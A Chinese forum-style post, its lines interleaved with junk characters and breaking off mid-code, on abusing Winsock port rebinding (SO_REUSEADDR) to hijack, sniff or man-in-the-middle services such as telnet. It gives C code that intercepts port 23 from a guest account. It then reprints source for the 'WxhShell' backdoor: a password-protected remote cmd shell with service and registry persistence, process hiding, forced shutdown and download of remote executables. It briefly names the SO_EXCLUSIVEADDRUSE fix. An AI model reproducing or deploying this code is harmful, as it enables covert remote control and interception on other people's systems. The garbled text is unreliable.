在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
6
M*b 6 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
?68$3; ?F)_T saddr.sin_family = AF_INET;
)!N2'Ld }PtI0mZ1 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
iP2U]d~M [&1iF1)4 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
!O~},pp GEhdk]<a7 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
M_qP!+Y =>HIF#jU 这意味着什么?意味着可以进行如下的攻击:
#D/$6ah~m 's =Q.s 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
`kqT{fs d|>9rX+f 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
c zZrP" I h5/=_n 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
$|>6z_3% ny278tr Q7 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
nwY2BIB NnJ>0|74g 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
enPzy:C Coga-: 2vu 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
yonJd dD[v=Z_ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
!}iLO0 `DI{wqV9 #include
<FXQxM5" #include
HT{F$27W #include
6>@(/mh* #include
J% :WLQo DWORD WINAPI ClientThread(LPVOID lpParam);
bk/.<Rt int main()
+<'uw {
NFdJb\ WORD wVersionRequested;
&z ./4X DWORD ret;
z2rQ$O-# WSADATA wsaData;
"
7l jc BOOL val;
F?}m8ZRv SOCKADDR_IN saddr;
D
/,|pC SOCKADDR_IN scaddr;
5Z^$`$/.v# int err;
6&g!ZE'G SOCKET s;
38"8,k SOCKET sc;
O{;M6U8C\ int caddsize;
lH6Cd/a HANDLE mt;
F@>w&A~K DWORD tid;
PFImqojHd wVersionRequested = MAKEWORD( 2, 2 );
h-z%C6 err = WSAStartup( wVersionRequested, &wsaData );
+}Qv6s# if ( err != 0 ) {
E`oSi
ez) printf("error!WSAStartup failed!\n");
ZkJY.H-F return -1;
&>d:ewM\ }
i;E9ZaW saddr.sin_family = AF_INET;
W)6U6 OU0xZ=G //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
,\|n=T, ]3gYuz| saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
~@b9
saddr.sin_port = htons(23);
wo,""=l if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
MuCQxzvkhf {
`77;MGg* printf("error!socket failed!\n");
v&t`5-e-A return -1;
OhA^UP01- }
p[ks} mca@ val = TRUE;
rC=p;BC@dD //SO_REUSEADDR选项就是可以实现端口重绑定的
;cS~d(% if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
G:E+s(x {
@oe3i printf("error!setsockopt failed!\n");
"uV0Oj9: return -1;
NTpz)R }
#J%h!#3g //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
v:'P"uU;4 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
*X-~TC0
[ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Sa?~t3*H rwi2kk#@P if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
`^s]? {
LM'*OtpDG ret=GetLastError();
sg! =Q+ printf("error!bind failed!\n");
c]cO[T_gGa return -1;
J@u!S~&r }
S>/I?(J listen(s,2);
+1JZB*W while(1)
=$:4v`W0( {
Y\\3g_YBF caddsize = sizeof(scaddr);
@&am!+z //接受连接请求
aT`02X sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
|Oj,S|Z: if(sc!=INVALID_SOCKET)
t<KEx^gb {
EkfGw/WDw mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
^c;skV&S if(mt==NULL)
(HTk;vbZm {
%k1q4qOG]^ printf("Thread Creat Failed!\n");
oKMg7 3* break;
|-cALQ }
b&|YQW}~ }
hc@;}a\Y CloseHandle(mt);
>$k4@eg! }
6`$,-(J= closesocket(s);
he#Tr'j WSACleanup();
OTy4"% return 0;
{
V=:O }
*;\
K5 DWORD WINAPI ClientThread(LPVOID lpParam)
d ~Z:$&r {
5sffDEU]A SOCKET ss = (SOCKET)lpParam;
kBDe*K.V SOCKET sc;
Poylq]F unsigned char buf[4096];
=8VJ.{xy_e SOCKADDR_IN saddr;
o/i5e=9[y long num;
5
\.TZMB DWORD val;
N2S!.H!Wz DWORD ret;
$fU/9jTa //如果是隐藏端口应用的话,可以在此处加一些判断
a*$1la'Uf //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
duiKFNYN saddr.sin_family = AF_INET;
c,[qjr#\> saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
G`3vH, saddr.sin_port = htons(23);
#h5Hi9LKf if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
-mWw.SfEZ {
$48[!QE printf("error!socket failed!\n");
i,U-H\p& return -1;
SqT"/e]b' }
P[J qJi/H val = 100;
+wf& L if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
"_% 0|; {
X\^3,k." ret = GetLastError();
#L1yL<' return -1;
{F{[!. }
@Ig,_i\UY: if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
&55uT;7] a {
XTn{1[.O ret = GetLastError();
N;Gf,pE return -1;
[/2@=Uh- }
0,i+ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
-7A!2mRiz {
V.OoZGE>] printf("error!socket connect failed!\n");
Nr*ibtz|D closesocket(sc);
y&O_Jyg< closesocket(ss);
dT0z^SG return -1;
Zqe[2() }
A_4\$NZ^ while(1)
*b 7
^s,? {
oVj A$| //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
tIp\MXkTQ& //如果是嗅探内容的话,可以再此处进行内容分析和记录
rj`.hXO //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
uJAB)ti2I num = recv(ss,buf,4096,0);
v:;C|uE| if(num>0)
9#=IrlV4 send(sc,buf,num,0);
5x L,~" else if(num==0)
D3Ea2}8 break;
{<V|Gr num = recv(sc,buf,4096,0);
y O9pEO|W if(num>0)
m`4j|5 send(ss,buf,num,0);
& /FA> else if(num==0)
0%L$TJ.'' break;
Gm?"7R. }
*IfIRR>3l( closesocket(ss);
=_~'G^`tu closesocket(sc);
]V[ return 0 ;
OG<]`!" }
ysP/@;jC }X.8.S' CEJG=*3 ==========================================================
y`P7LC $AJy^`E^ 下边附上一个代码,,WXhSHELL
I]S(tx! looPO:bo^ ==========================================================
UVuuIW0k (G b{ckzs #include "stdafx.h"
XajY'+DIsz Jv$2wH #include <stdio.h>
Sv]"Y/N #include <string.h>
Z(clw #include <windows.h>
N`mC_) #include <winsock2.h>
=P+wp{?AN| #include <winsvc.h>
]KII?{<k #include <urlmon.h>
:$@zX]?M Y~\xWYR #pragma comment (lib, "Ws2_32.lib")
kc/H #pragma comment (lib, "urlmon.lib")
LAjw!QB mjJlXA #define MAX_USER 100 // 最大客户端连接数
SEn8t"n #define BUF_SOCK 200 // sock buffer
<PA$hTYM #define KEY_BUFF 255 // 输入 buffer
pmXWI`s |r*1.V( #define REBOOT 0 // 重启
mwiPvwHrg #define SHUTDOWN 1 // 关机
!QzMeN;D ~d1RD #define DEF_PORT 5000 // 监听端口
q\b9e&2Y 7JK 'vT #define REG_LEN 16 // 注册表键长度
!c;p4B) #define SVC_LEN 80 // NT服务名长度
{>qrf: K^p"Z$$ // 从dll定义API
!i lDR< typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
\$++.%0 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
_rWXcK3cjr typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Sf8Xj|u typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
iO#xIl< a\.?{/ // wxhshell配置信息
z:q'?{`I struct WSCFG {
e@MCumc~+ int ws_port; // 监听端口
X!'Xx8 char ws_passstr[REG_LEN]; // 口令
(Y?yGq/ int ws_autoins; // 安装标记, 1=yes 0=no
M)It(K8R char ws_regname[REG_LEN]; // 注册表键名
S %%qn char ws_svcname[REG_LEN]; // 服务名
+\@\,{Ujy char ws_svcdisp[SVC_LEN]; // 服务显示名
wZolg~dg char ws_svcdesc[SVC_LEN]; // 服务描述信息
!Kn+*' # char ws_passmsg[SVC_LEN]; // 密码输入提示信息
cF6@.) int ws_downexe; // 下载执行标记, 1=yes 0=no
(>% Vj char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
)FiU1E char ws_filenam[SVC_LEN]; // 下载后保存的文件名
.Sth %JU23c* };
a*@Z^5f 60gn`s,, // default Wxhshell configuration
mTu9'/$( struct WSCFG wscfg={DEF_PORT,
2+rao2
"xuhuanlingzhe",
"alO"x8t 1,
JQv
ZTwSI "Wxhshell",
Xrs~ove1V "Wxhshell",
#nL0Hx7]E "WxhShell Service",
YmF(o "Wrsky Windows CmdShell Service",
2QD
B'xs3 "Please Input Your Password: ",
T</gWW 1,
cnO4NUDv "
http://www.wrsky.com/wxhshell.exe",
HCZ%DBU96 "Wxhshell.exe"
R1rfp; };
p_y*-,W
( tg4&j$ // 消息定义模块
%bETr"Xom
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
)%W2XvG char *msg_ws_prompt="\n\r? for help\n\r#>";
/60=N`i
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
>~r@*gml char *msg_ws_ext="\n\rExit.";
ziip*<a!_ char *msg_ws_end="\n\rQuit.";
AZP>\Dq char *msg_ws_boot="\n\rReboot...";
P =Gb char *msg_ws_poff="\n\rShutdown...";
zTzG&B- char *msg_ws_down="\n\rSave to ";
Q9
", ~|jy$*m4A char *msg_ws_err="\n\rErr!";
/ S^m!{ char *msg_ws_ok="\n\rOK!";
J*k=|+[ >I;#BE3 char ExeFile[MAX_PATH];
u8\QhUk'G int nUser = 0;
eJdQ7g[> HANDLE handles[MAX_USER];
X'p%$HsMG int OsIsNt;
[aUT # ) FsSXnZL SERVICE_STATUS serviceStatus;
$G.|5sEk SERVICE_STATUS_HANDLE hServiceStatusHandle;
U9%nku4 /R?uxhV // 函数声明
:H k4i%hGk int Install(void);
*m/u 3.\ int Uninstall(void);
-igZU>0B_ int DownloadFile(char *sURL, SOCKET wsh);
uZI:Kt# int Boot(int flag);
tG&B D\ void HideProc(void);
>sY+Y 22U int GetOsVer(void);
6<O]_ HZ& int Wxhshell(SOCKET wsl);
%-1-J<<J
q void TalkWithClient(void *cs);
$VNn`0^gF int CmdShell(SOCKET sock);
vCr$miZ int StartFromService(void);
f4^_FK& int StartWxhshell(LPSTR lpCmdLine);
`{;&Qcg6m Y)5}bmL VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
uvd> VOID WINAPI NTServiceHandler( DWORD fdwControl );
H*<dte< 5Uz(Bi // 数据结构和表定义
AE~}^(G` SERVICE_TABLE_ENTRY DispatchTable[] =
<T9m.:l {
{[# {wscfg.ws_svcname, NTServiceMain},
k82LCV+6 {NULL, NULL}
BE;iC.rW };
jt*@,+e| Jx7^|A // 自我安装
'S>Jps@ int Install(void)
_JB3+0@ {
?`iBp+iBv char svExeFile[MAX_PATH];
,X):2_m HKEY key;
< duM8 strcpy(svExeFile,ExeFile);
*Ux"3IXO A>S2BL#= // 如果是win9x系统,修改注册表设为自启动
l0)6[yXK if(!OsIsNt) {
ZmF32Ir if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
J>|` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
~0:c{v;4 RegCloseKey(key);
n\,W:G9AR7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
X ^)5O>>|t RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
,bg#pG!x Q RegCloseKey(key);
oZw#Nd return 0;
U{m:{'np(H }
(.)s = }
8=VX` X }
'!GI:U+g else {
[Y+bW#' eGg#=l= // 如果是NT以上系统,安装为系统服务
;B@l0)7(x SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
@[lr
F7`o if (schSCManager!=0)
1k(*o.6 {
m\Nc}P_"p SC_HANDLE schService = CreateService
=uEhxsj)S (
M3;B]iRQD schSCManager,
OW^7aw(N6 wscfg.ws_svcname,
&-tf/qJ wscfg.ws_svcdisp,
s4*,ocyBP SERVICE_ALL_ACCESS,
^\;5O(9 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
UNHHzTsr? SERVICE_AUTO_START,
YTA&G SERVICE_ERROR_NORMAL,
"Y6mM_flq svExeFile,
p5ihuV, NULL,
4G2V{(@QiZ NULL,
\v_(* NULL,
A5\S0l$Q NULL,
igCtq!.a NULL
%kT:"j(xW );
Fh;(1X75I if (schService!=0)
'-_PO|} {
,y @3'~ CloseServiceHandle(schService);
eA_4,"{ CloseServiceHandle(schSCManager);
4v7RX strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
,\IZ/1 strcat(svExeFile,wscfg.ws_svcname);
(Nf.a4O if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
it@s(1EO# RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
c{q`uI;O RegCloseKey(key);
W1z5|-T return 0;
=nl,5^ }
fq'Of
wT }
~1oD7=WN CloseServiceHandle(schSCManager);
C_/oORvK }
a6OT2B }
A
|B](MW%O 1d6pQ9 N return 1;
|ouk;r24V }
Uw!v=n3#! WF7RMQ51j // 自我卸载
J0k~% int Uninstall(void)
J\BdC]; {
=W=%!A\g HKEY key;
#</yX5!V xUUp?]9y if(!OsIsNt) {
C}Q2UK-: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
FdD'Hp+ RegDeleteValue(key,wscfg.ws_regname);
|9h[Q[m RegCloseKey(key);
~Q0}>m,S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Yv)/DsSyL RegDeleteValue(key,wscfg.ws_regname);
Et(prmH RegCloseKey(key);
P:+:Cm< return 0;
Syb:i(Y }
iGIaZ!j aW }
SF7Kb `>Y }
622).N4 else {
pWqahrWh SzDi=lY SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
*SZ<ori if (schSCManager!=0)
J.*=7zmw {
4{_5z7ody SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
]z,?{S if (schService!=0)
C*$/J\6xy {
>4c 1VEi if(DeleteService(schService)!=0) {
4^r}&9C~ CloseServiceHandle(schService);
h?b{{ CloseServiceHandle(schSCManager);
9b0Z
Ey{ return 0;
NZ#z{JI=+ }
e)M1$ CloseServiceHandle(schService);
MD,-<X)Qy }
`^/Q"zH CloseServiceHandle(schSCManager);
U"Y$7~ }
QB7<$Bp }
z{ 8!3>:E ]5/C" return 1;
c=5$bo]LI }
C,E 5/XW AG?oA328 // 从指定url下载文件
?$?Ni)Z int DownloadFile(char *sURL, SOCKET wsh)
4d#W[ {
"](~VF[J8 HRESULT hr;
q^s$4 q char seps[]= "/";
Ugn"w E char *token;
nsPM`dz/ char *file;
{_Y\Y char myURL[MAX_PATH];
B?]^}r char myFILE[MAX_PATH];
`?)i/jko" 1DX=\BWp strcpy(myURL,sURL);
TS;MGi0`} token=strtok(myURL,seps);
y~\z_') <> while(token!=NULL)
B\6\QQ;rUo {
hE; file=token;
;tHF$1!J token=strtok(NULL,seps);
tP\Utl-0 }
5o,82Kti sG3%~ GetCurrentDirectory(MAX_PATH,myFILE);
{MHr]A}X\ strcat(myFILE, "\\");
@M1U)JoQ strcat(myFILE, file);
f-Sb:O!V send(wsh,myFILE,strlen(myFILE),0);
NH{0KZ
R send(wsh,"...",3,0);
uJ[dO} hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
\Tc$P# if(hr==S_OK)
S&a44i return 0;
g
{00i else
8WAg{lVs return 1;
M*x_1h5n 'F@'4[uda }
"m!Cl-+u #pIb:/2a_ // 系统电源模块
[mm5?23g int Boot(int flag)
P6MT[ {
*+b[v7 HANDLE hToken;
51~:t[N| TOKEN_PRIVILEGES tkp;
@~"0|,6VC /as1 if(OsIsNt) {
P^
a$? OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
4`i_ 4&TS LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
^P[-HA| tkp.PrivilegeCount = 1;
p%}oo#%J tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
ZY83,:< AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
*_ "j"{ if(flag==REBOOT) {
pvX\kX3} if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
z=!xN5 return 0;
(*|hlD~ }
k@[Bx> else {
:wIbKs.r if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
mF
"ctxE return 0;
@Fo0uy\G }
o/Z?/alt4 }
O%)w!0 else {
6JJ%`Uojh if(flag==REBOOT) {
SW bwD/SN if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
]86U-`p return 0;
Ef#%4ky }
C\1Dy5 else {
=!Ok079{[ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
U5" C"+
3 return 0;
/
JlUqC }
I(C_}I>Wb }
LNe-]3wB !dZC-U~ return 1;
d8av`m }
v,kedKcxv' ~}uTC36C\ // win9x进程隐藏模块
4re^j4L~o void HideProc(void)
0%v
p'v {
&7;W=uF 9] l7j\L HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
QH+Oi&xH if ( hKernel != NULL )
*vht</?J {
sI#K01;" pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
m+CvU?)gJ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
[N{Rd[{QTL FreeLibrary(hKernel);
z55P~p }
H1+G:TM sq*sb dE return;
|ONkRxr@! }
&ceZu=* Qd$d*mwg: // 获取操作系统版本
PX+$Us int GetOsVer(void)
EyozhIV {
i: 1V\q% OSVERSIONINFO winfo;
Tf` ~=fg% winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
o[_{\ GetVersionEx(&winfo);
?!b}Ir<1j if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
68d(6?OgW return 1;
\!`*F:7]- else
gJ :Z7b return 0;
jytfGE: }
ZfS-W&6Z wuI+$? // 客户端句柄模块
e:&5Cvx int Wxhshell(SOCKET wsl)
{=pf#E= {
{~ VgXkjsC SOCKET wsh;
>!?u8^C struct sockaddr_in client;
+tl&Jjdm DWORD myID;
c/b}39X BJ1txdxvS while(nUser<MAX_USER)
^,@Rd\q {
AS~O*(po int nSize=sizeof(client);
H+ t^eg88 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
flnoK%wi if(wsh==INVALID_SOCKET) return 1;
V9][a //g~1( handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Vc}m_T]O if(handles[nUser]==0)
>$k_tC'" closesocket(wsh);
X]M)T else
.pK_j~}P nUser++;
xrp%b1Sy }
Vf,t=$.[Q WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
T-uI CMEf 5_#wOz0u$ return 0;
Y ~xcJH }
c=h{^![$ %\2
ll=p1 // 关闭 socket
Z#%4QIz? void CloseIt(SOCKET wsh)
kF`2%g+ {
gCW.;|2 closesocket(wsh);
ohOze\T)= nUser--;
O$<kWSC ExitThread(0);
BNnGtVAbZ }
R=xT \i{4h S!0<aFh // 客户端请求句柄
==~X8k|{E void TalkWithClient(void *cs)
9H`Q
|7g(5 {
gM '_1zs
U }]'Z~5T SOCKET wsh=(SOCKET)cs;
Quqts(Q) + char pwd[SVC_LEN];
C5$1K'X@ char cmd[KEY_BUFF];
i.C+{QH char chr[1];
ULNU'6 int i,j;
^/U-(4O05* UzWf_r while (nUser < MAX_USER) {
$b
QD{ { N[~RWg if(wscfg.ws_passstr) {
)\8l6Gw if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
/z.Y<xOc //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
bODCC5yL //ZeroMemory(pwd,KEY_BUFF);
[8v v[n/ i=0;
sFsp`kf while(i<SVC_LEN) {
<}&n}|! |L11?{ K // 设置超时
nn5tOV}QE fd_set FdRead;
eF823cH2x_ struct timeval TimeOut;
BRLrD/8Le FD_ZERO(&FdRead);
gG!L#J? FD_SET(wsh,&FdRead);
c_"]AhV~Mg TimeOut.tv_sec=8;
9LI#&\lba TimeOut.tv_usec=0;
|7LhE+E int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
v[E*K@6f if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
4"nb>tA pWa'Fd if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Z%E;*R2+:> pwd
=chr[0]; 4V@raI-
if(chr[0]==0xd || chr[0]==0xa) { 9w9[0BX#
pwd=0; e$u=>=jV]
break; &Op_!]8`U
} ;'~U5Po8
i++; >4b:`L
} 1qp<Fz[
d"`/P?nx
// 如果是非法用户,关闭 socket ?Z9C}t]
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _bRd2k,
} DO`
K_B
?%-VSL>$w=
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Up*1j:_O
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ND $m|V-C
I|8'#QX
while(1) { ^yL6A1
2.)xWCG
ZeroMemory(cmd,KEY_BUFF); c5C 2xE}T
094~ s
// 自动支持客户端 telnet标准 WT;4J<O/
j=0; .0+=#G>
while(j<KEY_BUFF) { :Aj8u\3!@
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GrPKJ~{6
cmd[j]=chr[0];
ieo Naq
if(chr[0]==0xa || chr[0]==0xd) { {Rc mjI7
cmd[j]=0; o
b;]
break; X67^@~l
} Aj#bhv
j++; tUU`R{=(
} z=%&?V
:59fb"^$
// 下载文件 ;\-f7!s
if(strstr(cmd,"http://")) { OCHjQc
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Lu?MRF
f
if(DownloadFile(cmd,wsh)) G%5bQ|O
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $23*:)&J4
else W}jel}:
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PIOG|E
} %EV\nwn6
else { \vwsRT 1
5^lFksZ
switch(cmd[0]) { 6bPoC$<Z
w1U2cbCr/
// 帮助 wzX(]BG
case '?': { [.:SV|AF#
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X?'Sh XI
break; T1$=0VSEa+
} y#tuwzE
// 安装 QiO4fS'~W
case 'i': { r:N =?X`N
if(Install()) LL% Aw)Q`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1'Sr0
oEd3
else ?|,dHqh{nM
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (dvsGYT|.
break; NSs"I]
} D/U=zDpiB
// 卸载 q~:H>;:G-
case 'r': { zP554Gr ?
if(Uninstall()) oW
! Z=;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); n$Nb,/o
else 9d kuvk}:
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <e&88{jJ
break; ''D\E6c\
} yBKEw(1
// 显示 wxhshell 所在路径 s|HpN
case 'p': { ~V34j:
char svExeFile[MAX_PATH]; +9 gI^Gt
strcpy(svExeFile,"\n\r"); "2'4b
strcat(svExeFile,ExeFile); IhR;YM[K
send(wsh,svExeFile,strlen(svExeFile),0); pzr\<U`
break; '0b!lVe
} n <,:;0{
// 重启 <DeC^[-P
case 'b': { 3 bK.8
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |NMf'$
if(Boot(REBOOT)) 3g79pw2w=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )\aCeY8o
else { ce56$L8[
closesocket(wsh); W0-KFo.'
ExitThread(0); 1 sJtkge:
} wmV7g7t6
break; O~P1d&:L
} xxy
(#j$
// 关机 b?^CnMO
case 'd': { U~CG(9
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); WNnB
s
if(Boot(SHUTDOWN)) b;;mhu[D
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6Dl]d%.
else { ]`+J!G,
closesocket(wsh); U3t$h
ExitThread(0); Nh^
lC
} Q$bi:EyJXc
break; Sgp1p}
} tRZA`&
// 获取shell fvE:'( #?
case 's': { n=F|bW
CmdShell(wsh); OK] _.v}
closesocket(wsh); rbt/b0ET
ExitThread(0); ?zpN09e
break; 6lAHB*`
} 'G)UIjl
// 退出 QJ4=*tX)
case 'x': { ztEM>xsk
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _8 C:Md`
CloseIt(wsh); {,X}Btnwp
break; F[@M?
} ?y/LMja
// 离开 L#|6Lnp^
case 'q': { ^{}$o#iof
send(wsh,msg_ws_end,strlen(msg_ws_end),0); XM#xxf* Y
closesocket(wsh); fW3awR{
WSACleanup(); e+~Q58oD
exit(1); L,\wB7t
break; b[/uSwvi
} p)e?0m26
} .P:mYC
} w<|Qezi3
w
Z1dLC'/b]
// 提示信息 Spm0DqqR?
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }!_ofe
} wZnv*t_
} Wm^RfxgN/
KD =W(\
return; ,9.-A-Yw
} }7HR<%<7
qdNt2SO
// shell模块句柄 ISDeLUihY
int CmdShell(SOCKET sock) H&*KpOL
{ 7=@3cw
H
STARTUPINFO si; Ri<'apl
ZeroMemory(&si,sizeof(si)); X/qLg+X
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TgjM@ir
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y#iQ
PROCESS_INFORMATION ProcessInfo; uGz>AW8a3
char cmdline[]="cmd"; vuoD~ =z
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .|g|X8X
return 0; s&)>gE\
} i_{b*o_an
j3 Ps<<eA
// 自身启动模式 E[a|.lnV
int StartFromService(void) igO,Ge8}
{ Qq{>]5<
typedef struct %] #XI r
{ SL$ bV2T
DWORD ExitStatus; GwM(E^AG
DWORD PebBaseAddress; 2A(?9
R9&h
DWORD AffinityMask; YIn
H8Ex
DWORD BasePriority; vPce6 Cl*
